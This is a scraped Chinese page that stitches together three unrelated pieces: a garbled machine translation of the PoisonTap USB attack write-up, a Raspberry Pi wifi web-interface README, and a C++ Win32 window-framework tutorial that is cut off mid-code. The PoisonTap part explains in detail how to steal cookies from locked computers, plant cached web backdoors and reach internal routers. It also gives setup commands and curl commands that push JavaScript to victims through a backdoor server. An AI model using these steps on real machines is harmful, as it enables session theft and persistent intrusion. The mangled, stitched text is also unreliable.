PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

PoisonTap – 虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

由@SamyKamkar创建||https://samy.pl

当PoisonTap(Raspberry Pi Zero&Node.js)插入到受锁/受密码保护的计算机中时,它:

  • 通过USB(或Thunderbolt)模拟以太网设备

  • 劫持来自机器的所有互联网流量(尽管是低优先级/未知网络接口)

  • 虹吸并存储来自网络浏览器的HTTP Cookie和会话,用于Alexa前100万个网站

  • 将内部路由器暴露给攻击者,使其可通过出站WebSocket和DNS重新绑定(远程访问Matt Austin进行重新绑定)!

  • 在HTTP缓存中为数十万个域和常见的Javascript CDN URL安装一个持久的基于Web的后门,所有这些都可以通过缓存中毒访问用户的cookie

  • 允许攻击者远程强制用户使用任何退回的域中的用户的Cookie进行HTTP请求和代理回复(GET&POST)

  • 它不要求机器被解锁

  • 后门和远程访问仍然存在,即使在设备被删除并且攻击者之后移动

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

(Ara令人难以置信的HTML5画布动画)

PoisonTap避免了以下安全机制:

  • 密码保护锁屏

  • 路由表优先级和网络接口服务订单

  • 同源政策

  • X-框架,选项

  • HttpOnly Cookies

  • SameSite cookie属性

  • 双因素/多因素认证(2FA / MFA)

  • DNS固定

  • 跨原始资源共享(CORS)

  • HTTPS的cookie保护当安全 cookie的标志和HSTS未启用


演示

PoisonTap是为$ 5 Raspberry Pi Zero而设计的,除了micro-USB电缆和microSD卡之外,还可以使用任何其他组件,或者可以使用以太网到USB / Thunderbolt加密狗的任何Raspberry Pi(1/2/3)工作,或可以在可以模拟USB小工具的其他设备上工作,如USB Armory和LAN Turtle。

视频中的实时演示和更多详细信息:

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

联络点: @SamyKamkar //https://samy.pl

发布日期: 2016 年 11月16日

源代码和下载: https://github.com/samyk/poisontap


毒药塔如何运作

PoisonTap通过利用机器和网络的各种机制(包括USB / Thunderbolt,DHCP,DNS和HTTP)的现有信任来产生级联效应,以产生信息渗透,网络访问和半永久后门的安装的雪球效应。

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

简而言之,PoisonTap执行以下操作:

网络劫持

  • 攻击者将PoisonTap(如武器化的Raspberry Pi Zero)插入锁定的计算机(即使计算机受密码保护)

  • PoisonTap模拟以太网设备(例如,通过USB / Thunderbolt的以太网) – 默认情况下,Windows,OS X和Linux识别以太网设备,自动将其作为低优先级网络设备加载并执行DHCP请求,即使机器被锁定或密码保护

  • PoisonTap响应DHCP请求并向机器提供IP地址,但是DHCP响应是为了告诉机器整个IPv4空间(0.0.0.0 – 255.255.255.255)是PoisonTap本地网络的一部分,而不是一个小子网(例如192.168.0.0 – 192.168.0.255)

  • 通常,如果辅助网络设备连接到一台机器,那么它将比现有的(受信任的)网络设备的优先级低,并且不会取代网关以进行互联网流量,这是不重要的,但是…

  • 由于“互联网流量”的“LAN流量”的优先级,任何路由表/网关优先级/网络接口服务订单安全性被绕过,

  • PoisonTap利用此网络接入,甚至作为一个低优先级的网络设备,因为该子网 A的低优先级的网络设备比给予更高的优先级网关的的(默认路由)最高优先级的网络设备

  • 这意味着如果流量注定为1.2.3.4,通常这个流量会达到主(非PoisonTap)网络设备的默认路由/网关,PoisonTap实际上会获得流量,因为PoisonTap“本地”网络/子网据说包含1.2 .3.4,存在的其他IP地址;

  • 因此,即使机器连接到具有较高优先级的网络设备和正确的网关(真正的WiFi,以太网等),所有互联网流量都会超过PoisonTap。

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

饼干虹吸

  • 只要Web浏览器运行后台,开放页面之一可能会在后台执行HTTP请求(例如,加载新广告,将数据发送到分析平台,或者只是继续跟踪您的网页)运动)通过AJAX或动态脚本/ iframe标签

  • 您可以自己看到这一点,进入您的devtools /检查员(通常为Cmd + Shift + I或Ctrl + Shift + I),访问访问量很大的网站,点击网络标签,并观看远程资源继续访问即使你在页面上没有采取任何行动

  • 根据此HTTP请求,由于所有流量退出到PoisonTap设备上,PoisonTap DNS即时传播返回自己的地址,导致HTTP请求命中PoisonTap Web服务器(Node.js)

  • 如果DNS服务器指向PoisonTap无法获得特权的内部IP(LAN),攻击将继续发挥作用,因为内部DNS服务器将为各种被攻击的域产生公共IP地址,而这是公共IP地址PoisonTap已经劫持

  • 一旦内部DNS服务器做出响应,Web浏览器就会触发公共IP,最终在任一情况下击中PoisonTap Web服务器(Node.js)

  • 当Node Web服务器接收到请求时,PoisonTap会响应一个可以解释为HTML或Javascript的响应,两者都能正常执行(许多网站将在后台请求中加载HTML或JS)

  • HTML / JS不可知页面然后生成许多隐藏的iframe,每个iframe跨不同的Alexa-top-100万域

  • 域名上的任何“X-Frame-Options”安全性被忽略,因为PoisonTap现在是HTTP服务器,并选择要发送给客户端的头文件

  • 随着对站点的每个iframe HTTP请求(例如http://nfl.com/PoisonTap),HTTP Cookie从浏览器发送到被PoisonTap劫持的“公共IP”,它迅速记录cookie /身份验证信息将数万个用户的Cookie记录到PoisonTap中

  • 任何“HttpOnly”cookie安全性被绕过,并且这些cookie被捕获,因为在域本身上没有执行Javascript,而是仅用于首先加载iframe

  • 任何跨原始资源共享或同源策略安全性被绕过,因为访问域看起来对浏览器是合法的

  • 因为我们正在抓取Cookie而不是凭据,所以当攻击者使用cookie登录时,网站上实现的任何2FA / MFA都将被绕过。这是因为我们还没有实际执行的登录功能,而是继续已经登录这不会话不会触发双因素身份验证

  • 如果服务器正在使用HTTPS,但是Cookie并未明确设置Secure Cookie标志,则HTTPS保护被绕过,并将该cookie发送到PoisonTap

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

可远程访问的基于Web的后门

  • 虽然PoisonTap正在产生成千上万的I帧,迫使浏览器加载每一个,这些iframe会并不只是空白页面,而是HTML +的Javascript后门被无限期缓存

  • 因为PoisonTap强制将这些后门缓存在每个域上,所以后门绑定到该域,使攻击者能够使用域的cookie,并在将来启动同源请求,即使用户当前未登录

  • 例如,当http://nfl.com/PoisonTap iframe加载时,PoisonTap接受转移的Internet流量,通过Node web服务器响应HTTP请求

  • 添加额外的HTTP头以无限期缓存该页面

  • 该页面的实际响应是HTML和Javascript的组合,它会向攻击者的Web服务器(通过Internet而不是PoisonTap设备)生成一个持久的WebSocket,

  • WebSocket保持打开,允许攻击者在将来的任何时间连接回退回机器,并执行任何具有后门实现的源代码(Alexa的前100万个站点 – 见下文)

  • 如果后门在一个站点(例如,nfl.com)上打开,但用户希望攻击不同的域(例如pinterest.com),攻击者可以将nfl.com上的iframe加载到pinterest.com后门(http://pinterest.com/PoisonTap)

  • 再次,域上的任何“X框架选项”,跨原始资源共享和同源策略安全性完全被忽略,因为请求将触发PoisonTap离开的缓存,而不是真正的域

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

内部路由器后门和远程访问

  • 一个网络PoisonTap不能劫持是真实网络接口的实际LAN子网(例如,如果用户的wifi子网为192.168.0.x,则该网络不受影响),但…

  • PoisonTap强制将一个后门缓存在一个特殊的主机上,特别是目标路由器的IP前身为“.ip.samy.pl”,例如192.168.0.1.ip.samy.pl,本质上是产生持久的 DNS重绑定攻击

  • 当使用PoisonTap作为DNS服务器(受害者使用公共DNS服务器)时,PoisonTap会临时响应专门的PoisonTap IP(1.0.0.1),这意味着当时的任何请求都将触发PoisonTap Web服务器

  • 如果DNS服务器设置为内部网络(例如192.168.0.x),则会另外特别要求1.0.0.1 **。pin。** ip.samy.pl告诉我的专用DNS服务器(在公共互联网上)暂时响应任何[ip.address] .ip.samy.pl地址与“固定”地址(1.0.0.1)几秒钟

  • 然后,PoisonTap在http://192.168.0.1.ip.samy.pl/PoisonTap上快速设置了一个后门,该漏洞目前指向1.0.0.1的PoisonTap设备,允许从PoisonTap设备访问并缓存后门

  • DNS绑定和DNS重新绑定的安全性被绕过由于DNS绑定表的耗尽,由于以前成千上万的请求,并且将来不需要重新绑定,这使得这种攻击持续了很长一段时间(由于马特奥斯汀与我分享这次攻击!)

  • 现在,一个后门被强制缓存到http://192.168.0.1.ip.samy.pl/PoisonTap,任何将来对192.168.0.1.ip.samy.pl的请求将会打到未被解除的 IP地址,导致192.168.0.1要解决,直接指向路由器

  • 这意味着如果通过后门远程加载iframe中的192.168.0.1.ip.samy.pl/PoisonTap主机,您现在可以对内部路由器上的任何其他页面执行AJAX GET / POSTs ,完全远程,从而允许远程访问内部路由器

  • 这可能导致攻击者可能从未访问过的路由器的其他攻击,例如用于覆盖DNS服务器的路由器上的默认管理员凭据,或其他身份验证漏洞

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

DNS服务器的概述:

  • [ip.addy] .ip.samy.pl 通常用[ip.addy]

  • 192.168.0.1.ip.samy.pl – >192.168.0.1(A记录)

  • [ip.addy] .pin.ip.samy.pl 暂时(〜5 秒)分* .ip.samy.pl到[ip.addy]

  • 1.0.0.1.pin.ip.samy.pl – >1.0.0.1

  • 192.168.0.1.ip.samy.pl – >1.0.0.1(A记录,短TTL)

  • (约5秒钟后)

  • 192.168.0.1.ip.samy.pl – >192.168.0.1(A记录)

其他可远程访问的基于Web的后门

  • 此外,PoisonTap替代了成千上万种常见的基于CDN的Javascript文件,例如Google和jQuery CDN,使用正确的代码加上一个后门,使攻击者可以访问任何加载受感染的基于CDN的Javascript文件的域

  • 因为每个域都有一个后门,这样就可以让攻击者远程强制后退的浏览器在几乎任何主要的域上执行相同的起始请求(AJAX GET / POST),即使受害者目前没有任何打开的窗口域

  • 后门将现在生活在任何其他网站上,当受害者访问该网站时,还会使用这些受感染的基于HTTP的CDN Javascript框架之一


PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

保护毒药

服务器端安全性

如果您正在运行一个Web服务器,那么防范PoisonTap就很简单:

  • 至少使用HTTPS进行认证和验证的内容

  • 老实说,您应该专门使用HTTPS,并始终将HTTP内容重定向到HTTPS,以防止用户被欺骗提供凭据或通过HTTP提供其他PII

  • 确保Cookie上启用了安全标志,防止HTTPS Cookie通过HTTP泄漏

  • 使用远程JavaScript资源时,请使用Subresource Integrity脚本标记属性

  • 使用HSTS来防止HTTPS降级攻击

桌面安全

  • 将水泥添加到USB和Thunderbolt端口可以有效

  • 每次离开机器时关闭浏览器都可以工作,但完全不切实际

  • 禁用USB / Thunderbolt端口也是有效的,尽管也是不切实际的

  • 锁定电脑没有任何效果,因为网络和USB堆栈在机器被锁定时运行,但是,进入加密睡眠模式,需要密钥来解密内存(例如FileVault2 +深度睡眠)解决了大多数问题,作为您的浏览器将不再提出请求,即使唤醒


下载

|

源代码: https://github.com/samyk/poisontap

|

安装/文件分解

注意:如果您发现设备不是自动作为以太网控制器(例如Windows的旧版本),则可以在pi_startup.sh中更改VID和PID

#指令从https://gist.github.com/gbaman/50b6cca61dd1c3f88f41调整sudo bash#如果Raspbian BEFORE甚至-10,那么运行下一行:BRANCH = next rpi-updateecho -e “  nauto usb0  nallow-hotplug usb0  niface usb0 inet static  n  taddress 1.0.0.1  n  tnetmask 0.0.0.0 ” >>/ etc / network / interfaces echo “ dtoverlay = dwc2 ” >>/ boot /config.txt echo -e “ dwc2  ng_ether ” >>/ etc / modulessudo sed -in-place “ / exit 0 / d ” /etc/rc.local echo “ / bin / sh /home/pi/poisontap/pi_startup.sh ” >>/etc/rc.localmkdir / home / pi / poisontapchown -R pi / home / pi / poisontapapt-get update &

&

apt-get升级apt-get -y安装isc-dhcp-server dsniff screen nodejs

将dhcpd.conf放在/etc/dhcp/dhcpd.conf中,然后将其他文件放在/ home / pi / poisontap中,然后重新启动以确保一切正常。

repo中有多个文件,它们在不同的方面使用。列表:

  • backdoor.html – 每当一个http:// hostname / PoisonTap URL被命名为exfiltrate cookies时,这个文件是作为强制缓存的内容返回的。它包含一个后门,它产生一个出站的websocket到samy.pl:1337(可调整到任何主机/端口),等待命令从服务器继续打开。这意味着当您在网站上加载iframe(例如http:// hostname / PoisonTap)时,即使在从机器中删除PoisonTap之后,这也是填充的内容。

  • backend_server.js – 这是您在Internet可访问的服务器上运行的Node.js服务器。这是backdoor.html连接的(例如,samy.pl:1337)。这是与您连接的命令相同的服务器,以发送到您的PoisonTapped小型机器,例如

#流行警惕受害者 卷曲 ' http://samy.pl:1337/exec?alert("muahahahaha“)‘ #设置在受害人一个cookie 卷曲 ’ http://samy.pl:1337/exec?document.cookie =“key = value” ' #强制受害者通过ajax加载一个url(注意,jQuery存储在后门) curl'http: //samy.pl:1337/exec?$.get( " http:// 192.168.0.1.ip.samy.pl/login",function(d){console.log(d)  })'
  • pi_poisontap.js – 这是通过Raspberry Pi Zero上的Node.js运行的,是HTTP服务器,负责处理由PoisonTap拦截的任何HTTP请求,存储虹吸cookie,并注入缓存的后门。

  • pi_startup.sh – 在Raspberry Pi Zero启动时运行,以便将设备设置为模拟USB以太网小工具,设置我们的恶意DHCP服务器,允许流量重新路由,DNS欺骗,并启动pi_poisontap.js以上。

  • target_backdoor.js – 此文件是与任何CDN相关的Javascript文件,因此后门他们,例如Google CDN的jQuery网址。

  • target_injected_xhtmljs.html – 这是在受害者机器上注入到无意/后台HTTP / AJAX请求中的代码,并产生了整个攻击。它的构造方式是将其解释为HTML或Javascript,并仍然执行相同的代码。另外,惊人的HTML5画布是由令人难以置信的Ara oen CodePen,是太惊人,不包括。这是当页面被PoisonTap接管时出现的图形化疯狂。

  • poisontap.cookies.log – 一旦用户的机器开始向PoisonTap发送HTTP请求,就会生成此文件,并将该cookie与浏览器及其所属的相关联的URL /域一起记录下来。


经常问的问题

  • 问:如何添加要退回的其他域?

target_injected_xhtmljs.html

getDoms()

  • 函数设置。这本身就由

alexa1m.sh

  • repo根目录中的脚本填充。如果您希望在此列表中添加其他域名,您可以简单地修改返回呼叫

getDoms()

  • A:要退回的域列表

  • 问:您如何使用捕获的Cookie?

  • A:您可以直接从浏览器中的JavaScript控制台使用Document.cookie API来设置Cookie。此StackOverflow文章还提供了一些Chrome特定的建议,例如Cookie检查器Chrome扩展程序。

原文始发于:PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

|

响应式Web界面控制树莓派上的wifi与hostapd和相关服务

响应式Web界面控制树莓派上的wifi与hostapd和相关服务

$ raspap-webgui

一个简单的响应式Web界面,可以控制Raspberry Pi上的wifi,hostapd和相关服务。

该项目的灵感来自SirLagz关于使用网页而不是ssh在Raspberry Pi上配置wifi和hostapd的博文。我主要是通过将其包装在SB Admin 2(一个基于Bootstrap的管理主题)中来简化UI 。

响应式Web界面控制树莓派上的wifi与hostapd和相关服务

响应式Web界面控制树莓派上的wifi与hostapd和相关服务

响应式Web界面控制树莓派上的wifi与hostapd和相关服务

内容

  • 先决条件

  • 快速安装

  • 手动安装

  • 可选服务

  • 如何贡献

  • license

先决条件

您需要安装一些额外的软件才能使Raspberry Pi成为WiFi路由器和接入点。如果你仅仅想在现有WiFi网络上将树莓派RPi配置为客户端模式则可以跳过此步骤。

有许多指南可用于帮助您选择WiFi适配器,安装兼容的驱动程序,配置HostAPD等。细节不在本项目的范围之内,尽管我已经使用Edimax Wireless 802.11b / g / n nano USB适配器一直保持良好的效果。

要将您的RPi配置为WiFi路由器,这些资源之一将启动您在正确的轨道上:

||

完成初始设置后,您将能够使用Web UI管理这些服务。

快速安装

从您的RaspberryPi的shell提示符中安装RaspAP:

$ wget -q https://git.io/voEUQ -O / tmp / raspap &

&

bash / tmp / raspap

安装程序将为您完成手动安装步骤(如下)。

在安装结束后重新启动后,无线网络将被配置为接入点,如下所示:

  • IP地址:10.3.141.1

  • 用户名:admin

  • 密码:secret

  • DHCP范围:10.3.141.50至10.3.141.255

raspi-webgui

  • SSID: raspi-webgui

  • 密码:ChangeMe

手动安装

开始安装git,lighttpd,php5,hostapd和dnsmasq。

$ sudo apt-get install git lighttpd php5-cgi hostapd dnsmasq

之后,启用PHP for lighttpd并重新启动它,使设置生效。

sudo lighty-enable-mod fastcgi-php sudo service lighttpd restart

现在有趣的部分。出于安全考虑,www-data运行的用户不允许启动或停止后台进程,或者运行ifdown和ifup这样的命令,我们希望我们的页面能够执行。所以我做的是将www-data用户添加到sudoers文件,但是限制了用户可以运行的命令。在下面添加以下内容 /etc/sudoers:

响应式Web界面控制树莓派上的wifi与hostapd和相关服务

完成这些修改后,git将文件克隆到

/var/www/html。 请注意,对于旧版本的Raspbian(在Jessie,2016年5月之前)使用/var/www。

sudo rm -rf / var / www / html sudo git clone https://github.com/billz/raspap-webgui / var / www / html

将文件所有权设置为www-data用户。

sudo chown -R www-data:www-data / var / www / html

将RaspAP配置文件移动到正确的位置

sudo mkdir / etc / raspap sudo mv /var/www/html/raspap.php / etc / raspap / sudo chown -R www-data:www-data / etc / raspap

重新启动,应该运行起来!

sudo reboot

默认用户名为“admin”,默认密码为“secret”。

可选服务

OpenVPN和TOR是两个在RPi上运行良好的附加服务,是扩展WiFi路由器有用性的好方法。我开始接口来管理这些服务。不是每个人都需要它们,所以默认情况下它们是禁用的。您可以通过更改以下选项来启用它们index.php:

//可选服务,设置为true以启用。 define(' RASPI_OPENVPN_ENABLED ',false);

d efine(' RASPI_TORPROXY_ENABLED ',false);

请注意,这些只是现在的UI。喜欢折腾的可以试试,项目地址如下:

|

https://github.com/billz/raspap-webgui#prerequisites

|

原文始发于:响应式Web界面控制树莓派上的wifi与hostapd和相关服务

|

第九十六讲 MFrame3D框架(2)

上一讲我们把鼠标键盘和数据给抽象出来,但是并没有给出实现,其实实现相当简单的了,不过我还是给出来吧,因为可能有些同学会想要自己进行调试(相关代码以后我会将他放在网上,本来打算自己弄个网站出来和大家交流的,但是后来发现我忘了路由器的密码,也懒得折腾,算了,等把这个框架给大家说完,我把代码直接扔在网盘上,大家下载就好了)。

下面我们先来看看键盘的实现:

//====================================

//MkeyEvent.cpp

#include "

MKeyEvent.h"

namespace Mengjin{

MKeyEvent::MKeyEvent(void)

{

for(int i=0;

i<256;

++i){

b_IsKey[i] = false;

}

b_IsActive = false;

}

MKeyEvent::~MKeyEvent(void)

{

}


void MKeyEvent::processEvent(unsigned char index,bool status){

m_index = index;

b_IsKey[index] = status;

run();

}

}

//==================================

这个实现相当简单,构造函数初始化每个键的状态,如前所说,false表示未按下,processEvent是一个保护的函数,他由框架调用,index表示键盘的ascii码,当然就是一个uchar了,有些东西说起来太多,等到我们说到底层框架后就明白他是多简单了,这里面调用一个run,这个函数在这里是个虚函数,他由我们重写,由框架调用,是不是很简单………

同样,鼠标也很简单:

//==================================

//MMouseEvent.cpp

#include "

MMouseEvent.h"

namespace Mengjin{

MMouseEvent::MMouseEvent(void)

{

m_button = NoButton;

m_status = Hover;

}


MMouseEvent::~MMouseEvent(void)

{

}



void MMouseEvent::processEvent(MouseButton button,MouseAction status,float x,float y){

m_button = button;

m_status = status;

m_point.x = x;

m_point.y = y;

run();

}

}

//=================================

鼠标键盘都一样,为了好用,所以接口一样,如果你看明白了上面键盘的实现,那么这个就不用我解释了。

关于数据,也没什么好说的,我直接贴代码:

//================================

//MDataBase.cpp

#include "

MDataBase.h"


namespace Mengjin{


MDataBase::~MDataBase(void)

{

}

}

//================================

我承认,我真不是来搞笑的,但是他确实没什么可说,之所以他存在,是为了一个框架的完整,同时为了更好的管理(这就是典型的观察者模式)。

ok,进入今天的主题,我们今天先来说说窗口,这相当于一个容器,因为我们的3D窗口都是在里面显示的,所以这是一个最底层的class,他不但可以作为3D窗口的容器,还可以作为我们以后编写windows程序的一个框架来用,当然前提是如果大家把他更加完善的话(因为我这里只是给大家模拟出一个框架出来,如果大家想要知道C++在实际中是怎么用的话,这是一个机会,我们将以前的理论都用在实际构架中)。


这就是我们的MWindowBase类:

//============================

//MWindowBase.h

#pragma once

#include "

MFrameH.h"

#include "

MMouseEvent.h"

#include "

MKeyEvent.h"


namespace Mengjin{

class MWindowBase{

public:

MWindowBase(HINSTANCE hInstance,HINSTANCE hPreInstance,PSTR szCmdLine,

int iCmdShow,const std::wstring&

title,const std::wstring&

wndname);

MWindowBase();

virtual ~MWindowBase();

private:

MWindowBase(const WindowBase&

);

MWindowBase&

operator=(const WindowBase&

);

public:


void setTitle(const std::wstring&

title);


void setWndclassName(const std::wstring&

classname);


void sethInstance(HINSTANCE hInstance);


void setPrehInstance(HINSTANCE PrehInstance);


void setShowCmd(int showcmd);


void setCmdLine(char* cmdline);


void setWindowWidth(int w);


void setWindowHeight(int h);


void setExStyle(DWORD dwExStyle);


void setStyle(DWORD dwStyle);


void setIsFullScreen(bool fullscreen);


void closeWindow(bool isclose);


void AddMouseEvent(MMouseEvent* mouse);


void AddKeyEvent(MKeyEvent* key);

bool isFullScreen(){

return b_IsFullscreen;

}

bool isActive(){
return b_IsActive;

}

static LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);

//窗口回调函数


void RegisterFunInitGL(RECALL_INIT initGLfun);

//注册OpenGL初始化函数,没多大用,暂时保留


void RegisterDrawScreen(RECALL_DRAW drawFun);

//注册显示函数,很重要,没他,就显示不出3D画面


void RegisterReShape(RECALL_RESHAPE reshapeFun);

//窗口变化时会被调用


void RegisterWndProc(RECALL_WNDPROC WndProc);

//注册事件回调函数,该函数将会处理相应窗口消息,他的强大之处只是将静态处理变成成员处理,这样扩展性就得到质的提升


void RegisterOnIdleFun(RECALL_IDLE idlefun);


void SetHdc(HDC hdc);

protected:

virtual bool
init();

virtual bool
GenWindow();

//创建窗口

virtual bool
RegisterWndClass();

//注册窗口类

virtual void
showwindow();

// 显示窗口

virtual int
msgloop();

//消息循环

virtual LRESULT MemWndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);

//窗口消息处理函数

protected:

HWND

m_hwnd;

//windows句柄

HINSTANCE
m_hInstance;

// 实例句柄

HINSTANCE
m_hPreInstance;


PSTR

m_CmdLine;

// 命令符,保留用

int

m_iCmdShow;

//显示窗口

WNDCLASS
m_wndclass;

//窗口类

MSG

m_msg;

//窗口消息

bool

b_IsFullscreen;

//是否全屏


std::wstring m_Title;

// 窗口标题

std::wstring m_wndclassname;

//窗口类名


int

m_height;

int

m_width;

DWORD

m_dwExStyle;

DWORD

m_dwStyle;


MMouseEvent*

m_mouse;

//鼠标

MKeyEvent*

m_key;

// 键盘

RECALL_WNDPROC

m_add_wndproc;

//辅助消息处理 ,如果不想重写消息处理函数时,可以选择附加一个消息处理函数

unsigned long

m_TimeId;

//定时器ID

bool

b_IsActive;

//窗口是否处于活动状态

bool

b_done;

RECALL_INIT
m_InitGL;

RECALL_DRAW
m_DrawScreen;

RECALL_RESHAPE m_Reshape;

HDC

m_hdc;

RECALL_IDLE
m_idle_fun;

// 空闲处理函数

static RECALL_WNDPROC m_WndProc;

//消息回调函数

};

}

//=============================

这个底层的接口虽多,但是基本很多东西我们都不用调用的,因为我们基本会用不到这些接口,但是用不上不等于就没有用,所以就加上这些接口,这些接口顾名思义就好,没什么不好理解的,所以我就不说什么了,接下来我们来看看实现代码:

//================================

//MWindowBase.cpp

#include "

MWindowBase.h"

namespace Mengjin{

RECALL_WNDPROC MWindowBase::m_WndProc = nullptr;

MWindowBase::MWindowBase(HINSTANCE hInstance,HINSTANCE hPreInstance,PSTR szCmdLine,

int iCmdShow,const std::wstring&

title,const std::wstring&

wndname)

{

m_hInstance = hInstance;

m_hPreInstance = hPreInstance;

m_CmdLine = szCmdLine;

m_iCmdShow = iCmdShow;

m_Title = title;

m_wndclassname = wndname;

if(!init())

throw L"

Init Windows fail!!!"

;

}


MWindowBase::MWindowBase()

{

m_hInstance = nullptr;

m_hPreInstance = nullptr;

m_CmdLine = "

"

;

m_iCmdShow = -1;

m_Title = L"

"

;

m_wndclassname = L"

"

;

}


MWindowBase::~MWindowBase()

{

}


bool MWindowBase::init(){


m_dwExStyle = WS_EX_APPWINDOW | WS_EX_WINDOWEDGE;

m_dwStyle = WS_OVERLAPPEDWINDOW;

m_height = 450;

m_width = 750;

b_IsActive = false;

b_done = false;

m_DrawScreen = nullptr;

m_InitGL = nullptr;

m_Reshape = nullptr;

m_hdc = nullptr;

m_key = nullptr;

m_mouse = nullptr;


m_WndProc = std::bind(&

MWindowBase::MemWndProc,this,std::placeholders::_1,std::placeholders::_2,

std::placeholders::_3,std::placeholders::_4);


m_wndclass.style = CS_HREDRAW | CS_VREDRAW;

m_wndclass.lpfnWndProc =WndProc;

m_wndclass.cbClsExtra = 0;

m_wndclass.cbWndExtra = 0;

m_wndclass.hInstance = m_hInstance;

m_wndclass.hCursor = LoadCursor(nullptr,IDC_ARROW);

m_wndclass.hIcon = LoadIcon(nullptr,IDI_APPLICATION);

m_wndclass.lpszClassName = m_wndclassname.c_str();

m_wndclass.lpszMenuName = nullptr;

m_wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);

if(!RegisterWndClass()){

throw L"

Register Windows class fail!!!"

;


return false;

}


return true;

}



void MWindowBase::showwindow(){

if(m_hwnd){

ShowWindow(m_hwnd,m_iCmdShow);

UpdateWindow(m_hwnd);

}

}



void MWindowBase::setTitle(const std::wstring&

title){

m_Title = title;

}



void MWindowBase::setWndclassName(const std::wstring&

classname){

m_wndclassname = classname;

}



void MWindowBase::setCmdLine(char* cmdline){

m_CmdLine = cmdline;

}



void MWindowBase::sethInstance(HINSTANCE hinstance){

m_hInstance = hinstance;

}



void MWindowBase::setPrehInstance(HINSTANCE hPreinstance){

m_hPreInstance = hPreinstance;

}



void MWindowBase::setShowCmd(int iShowCmd){

m_iCmdShow = iShowCmd;

showwindow();

}



void MWindowBase::setWindowHeight(int h){

m_height = h;

}



void MWindowBase::setWindowWidth(int w){

m_width = w;

}



void MWindowBase::setExStyle(DWORD dwExStyle){

m_dwExStyle = dwExStyle;

}



void MWindowBase::setStyle(DWORD dwStyle){

m_dwStyle = dwStyle;

}



void MWindowBase::setIsFullScreen(bool fullscreen){

b_IsFullscreen = fullscreen;

}



void MWindowBase::RegisterDrawScreen(RECALL_DRAW drawFun){

m_DrawScreen = drawFun;

}



void MWindowBase::RegisterFunInitGL(RECALL_INIT initGLfun){

m_InitGL = initGLfun;

}



void MWindowBase::RegisterReShape(RECALL_RESHAPE reshapeFun){

m_Reshape = reshapeFun;

}



void MWindowBase::RegisterWndProc(RECALL_WNDPROC WndProc){

m_WndProc = WndProc;

}



void MWindowBase::RegisterOnIdleFun(RECALL_IDLE idlefun){

m_idle_fun = idlefun;

}



void MWindowBase::SetHdc(HDC hdc){

m_hdc = hdc;

}



void MWindowBase::setKeysStatus(bool* keystatus){

b_IsKeys = keystatus;

}



void MWindowBase::setWindowActive(bool Active){

b_IsActive = Active;

}



void MWindowBase::closeWindow(bool isclose){

b_done = isclose;

}


//消息循环

int MWindowBase::msgloop(){

while(!b_done){

if(PeekMessage(&

m_msg,nullptr,0,0,PM_REMOVE)){

TranslateMessage(&

m_msg);

DispatchMessage(&

m_msg);

}

else{

/* if(m_DrawScreen!=nullptr &

&

m_hdc!= nullptr){

if (m_idle_fun)

m_idle_fun();

m_DrawScreen();

SwapBuffers(m_hdc);

}

*/ }

}


return m_msg.wParam;

}


//注册窗口类

bool MWindowBase::RegisterWndClass(){

if(!RegisterClass(&

m_wndclass)){


return false;

}


return true;

}


//生成窗口

bool MWindowBase::GenWindow(){

m_hwnd = CreateWindowEx(

m_dwExStyle,m_wndclassname.c_str(),

m_Title.c_str(),m_dwStyle,

0,0,m_width,m_height,

nullptr,nullptr,m_hInstance,nullptr

);

if(m_hwnd == nullptr){

throw L"

Creat windows fail!!!"

;


return false;

}


return true;

}


//添加鼠标响应事件


void MWindowBase::AddMouseEvent(MMouseEvent* mouse){

m_mouse = mouse;

}

//添加键盘响应事件


void MWindowBase::AddKeyEvent(MKeyEvent* key){

m_key = key;

}


//窗口回调函数,该函数由框架调用,这个函数可以重写,也可以不重写

//因为这里已经基本实现了不少东西,如果不是有什么特殊要求的话,这里已经可以完美实现

LRESULT MWindowBase::MemWndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam){

switch (msg)

{

case WM_CREATE:

SetTimer(hwnd, m_TimeId, 100, nullptr);

break;


case WM_TIMER:

if (m_idle_fun)

m_idle_fun();

InvalidateRect(m_hwnd, nullptr, false);

break;

case WM_ACTIVATE:

if (!HIWORD(wParam)){

b_IsActive = true;

}

else{

b_IsActive = false;

}

break;


case WM_SYSCOMMAND:

switch (wParam)

{

case SC_SCREENSAVE:

case SC_MONITORPOWER:


return 0;

}

break;


case WM_KEYDOWN:

if(m_key)

m_key->processEvent(wParam,true);

break;


case WM_KEYUP:

if(m_key)

m_key->processEvent(wParam,false);

break;


case WM_LBUTTONDOWN:

if(m_mouse)

m_mouse->processEvent(LButton,Down,LOWORD(lParam),HIWORD(lParam));

break;

case WM_LBUTTONUP:

if (m_mouse)

m_mouse->processEvent(LButton,Up,LOWORD(lParam),HIWORD(lParam));

break;

case WM_LBUTTONDBLCLK:

if(m_mouse)

m_mouse->processEvent(LButton,DoubleClick,LOWORD(lParam),HIWORD(lParam));

break;

case WM_RBUTTONDOWN:

if(m_mouse)

m_mouse->processEvent(RButton,Down,LOWORD(lParam),HIWORD(lParam));

break;


case WM_RBUTTONUP:

if(m_mouse)

m_mouse->processEvent(RButton,Up,LOWORD(lParam),HIWORD(lParam));

break;

case WM_RBUTTONDBLCLK:

if(m_mouse)

m_mouse->processEvent(RButton,DoubleClick,LOWORD(lParam),HIWORD(lParam));

break;

case WM_MBUTTONDOWN:

if (m_mouse)

m_mouse->processEvent(MButton,Down,LOWORD(lParam),HIWORD(lParam));

break;

case WM_MBUTTONUP:

if(m_mouse)

m_mouse->processEvent(MButton,Up,LOWORD(lParam),HIWORD(lParam));

break;


